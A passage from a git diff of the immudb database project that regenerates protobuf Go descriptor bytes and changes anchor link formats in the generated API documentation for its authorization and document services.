0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, + 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, + 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, + 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 00dcb7b210..286c6d72a3 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,70 +3,70 @@ ## Table of Contents -- [authorization.proto](#authorization-proto) - - [CloseSessionRequest](#immudb-model-CloseSessionRequest) - - [CloseSessionResponse](#immudb-model-CloseSessionResponse) - - [KeepAliveRequest](#immudb-model-KeepAliveRequest) - - [KeepAliveResponse](#immudb-model-KeepAliveResponse) - - [OpenSessionRequest](#immudb-model-OpenSessionRequest) - - [OpenSessionResponse](#immudb-model-OpenSessionResponse) +- [authorization.proto](#authorization.proto) + - [CloseSessionRequest](#immudb.model.CloseSessionRequest) + - [CloseSessionResponse](#immudb.model.CloseSessionResponse) + - [KeepAliveRequest](#immudb.model.KeepAliveRequest) + - [KeepAliveResponse](#immudb.model.KeepAliveResponse) + - [OpenSessionRequest](#immudb.model.OpenSessionRequest) + - [OpenSessionResponse](#immudb.model.OpenSessionResponse) - - [AuthorizationService](#immudb-model-AuthorizationService) + - [AuthorizationService](#immudb.model.AuthorizationService) -- [documents.proto](#documents-proto) - - [Collection](#immudb-model-Collection) - - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) - - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) - - [CollectionGetRequest](#immudb-model-CollectionGetRequest) - - [CollectionGetResponse](#immudb-model-CollectionGetResponse) - - [CollectionListRequest](#immudb-model-CollectionListRequest) - - [CollectionListResponse](#immudb-model-CollectionListResponse) - - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) - - [DocumentAtRevision](#immudb-model-DocumentAtRevision) - - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) - - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) - - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) - - [DocumentProofRequest](#immudb-model-DocumentProofRequest) - - [DocumentProofResponse](#immudb-model-DocumentProofResponse) - - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) - - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) - - [Field](#immudb-model-Field) - - [FieldComparison](#immudb-model-FieldComparison) - - [Index](#immudb-model-Index) - - [IndexCreateRequest](#immudb-model-IndexCreateRequest) - - [IndexCreateResponse](#immudb-model-IndexCreateResponse) - - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) - - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) - - [Query](#immudb-model-Query) - - [QueryExpression](#immudb-model-QueryExpression) +- [documents.proto](#documents.proto) + - [Collection](#immudb.model.Collection) + - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) + - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.model.CollectionGetRequest) + - [CollectionGetResponse](#immudb.model.CollectionGetResponse) + - [CollectionListRequest](#immudb.model.CollectionListRequest) + - [CollectionListResponse](#immudb.model.CollectionListResponse) + - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) + - [DocumentAtRevision](#immudb.model.DocumentAtRevision) + - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) + - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.model.DocumentProofRequest) + - [DocumentProofResponse](#immudb.model.DocumentProofResponse) + - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) + - [Field](#immudb.model.Field) + - [FieldComparison](#immudb.model.FieldComparison) + - [Index](#immudb.model.Index) + - [IndexCreateRequest](#immudb.model.IndexCreateRequest) + - [IndexCreateResponse](#immudb.model.IndexCreateResponse) + - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) + - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) + - [Query](#immudb.model.Query) + - [QueryExpression](#immudb.model.QueryExpression) - - [ComparisonOperator](#immudb-model-ComparisonOperator) - - [FieldType](#immudb-model-FieldType) + - [ComparisonOperator](#immudb.model.ComparisonOperator) + - [FieldType](#immudb.model.FieldType) - - [DocumentService](#immudb-model-DocumentService) + - [DocumentService](#immudb.model.DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -76,7 +76,7 @@ - + ### CloseSessionResponse @@ -86,7 +86,7 @@ - + ### KeepAliveRequest @@ -96,7 +96,7 @@ - + ### KeepAliveResponse @@ -106,7 +106,7 @@ - + ### OpenSessionRequest @@ -123,7 +123,7 @@ - + ### OpenSessionResponse @@ -147,29 +147,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -179,15 +179,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateRequest @@ -197,15 +197,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb-model-Field) | repeated | | -| indexes | [Index](#immudb-model-Index) | repeated | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | - + ### CollectionCreateResponse @@ -215,7 +215,7 @@ - + ### CollectionDeleteRequest @@ -230,7 +230,7 @@ - + ### CollectionDeleteResponse @@ -240,7 +240,7 @@ - + ### CollectionGetRequest @@ -255,7 +255,7 @@ - + ### CollectionGetResponse @@ -263,14 +263,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb-model-Collection) | | | +| collection | [Collection](#immudb.model.Collection) | | | - + ### CollectionListRequest @@ -280,7 +280,7 @@ - + ### CollectionListResponse @@ -288,14 +288,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb-model-Collection) | repeated | | +| collections | [Collection](#immudb.model.Collection) | repeated | | - + ### CollectionUpdateRequest @@ -311,7 +311,7 @@ - + ### CollectionUpdateResponse @@ -321,7 +321,7 @@ - + ### DocumentAtRevision @@ -331,14 +331,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentAuditRequest @@ -357,7 +357,7 @@ - + ### DocumentAuditResponse @@ -365,14 +365,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentDeleteRequest @@ -381,14 +381,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | +| query | [Query](#immudb.model.Query) | | | - + ### DocumentDeleteResponse @@ -398,7 +398,7 @@ - + ### DocumentInsertManyRequest @@ -407,14 +407,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documents | [google.protobuf.Struct](#google-protobuf-Struct) | repeated | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - + ### DocumentInsertManyResponse @@ -430,7 +430,7 @@ - + ### DocumentInsertRequest @@ -439,14 +439,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentInsertResponse @@ -462,7 +462,7 @@ - + ### DocumentProofRequest @@ -480,7 +480,7 @@ - + ### DocumentProofResponse @@ -492,14 +492,14 @@ | collectionId | [uint32](#uint32) | | | | idFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | -| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb-schema-VerifiableTxV2) | | | +| verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | - + ### DocumentSearchRequest @@ -509,7 +509,7 @@ | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | +| query | [Query](#immudb.model.Query) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -519,7 +519,7 @@ - + ### DocumentSearchResponse @@ -528,14 +528,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | searchID | [string](#string) | | | -| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | - + ### DocumentUpdateRequest @@ -544,15 +544,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| query | [Query](#immudb-model-Query) | | | -| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | +| query | [Query](#immudb.model.Query) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - + ### DocumentUpdateResponse @@ -569,7 +569,7 @@ - + ### Field @@ -578,14 +578,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| type | [FieldType](#immudb-model-FieldType) | | | +| type | [FieldType](#immudb.model.FieldType) | | | - + ### FieldComparison @@ -594,15 +594,15 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | -| operator | [ComparisonOperator](#immudb-model-ComparisonOperator) | | | -| value | [google.protobuf.Value](#google-protobuf-Value) | | | +| operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + ### Index @@ -618,7 +618,7 @@ - + ### IndexCreateRequest @@ -635,7 +635,7 @@ - + ### IndexCreateResponse @@ -645,7 +645,7 @@ - + ### IndexDeleteRequest @@ -661,7 +661,7 @@ - + ### IndexDeleteResponse @@ -671,7 +671,7 @@ - + ### Query @@ -679,14 +679,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| expressions | [QueryExpression](#immudb-model-QueryExpression) | repeated | | +| expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | - + ### QueryExpression @@ -694,7 +694,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| fieldComparisons | [FieldComparison](#immudb-model-FieldComparison) | repeated | | +| fieldComparisons | [FieldComparison](#immudb.model.FieldComparison) | repeated | | @@ -703,7 +703,7 @@ - + ### ComparisonOperator @@ -720,7 +720,7 @@ - + ### FieldType @@ -738,27 +738,27 @@ - + ### DocumentService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| CollectionCreate | [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) | [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) | | -| CollectionGet | [CollectionGetRequest](#immudb-model-CollectionGetRequest) | [CollectionGetResponse](#immudb-model-CollectionGetResponse) | | -| CollectionList | [CollectionListRequest](#immudb-model-CollectionListRequest) | [CollectionListResponse](#immudb-model-CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) | | -| CollectionUpdate | [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) | | -| IndexCreate | [IndexCreateRequest](#immudb-model-IndexCreateRequest) | [IndexCreateResponse](#immudb-model-IndexCreateResponse) | | -| IndexDelete | [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) | [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) | | -| DocumentInsert | [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) | [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) | | -| DocumentInsertMany | [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) | | -| DocumentUpdate | [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) | | -| DocumentSearch | [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) | [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) | | -| DocumentAudit | [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) | [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) | | -| DocumentProof | [DocumentProofRequest](#immudb-model-DocumentProofRequest) | [DocumentProofResponse](#immudb-model-DocumentProofResponse) | | -| DocumentDelete | [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.model.CollectionGetRequest) | [CollectionGetResponse](#immudb.model.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | +| CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | +| DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | +| DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.model.DocumentProofRequest) | [DocumentProofResponse](#immudb.model.DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 1c3daa7ec0..21e399f48e 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: documents.proto @@ -2312,133 +2312,133 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, - 0x2a, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 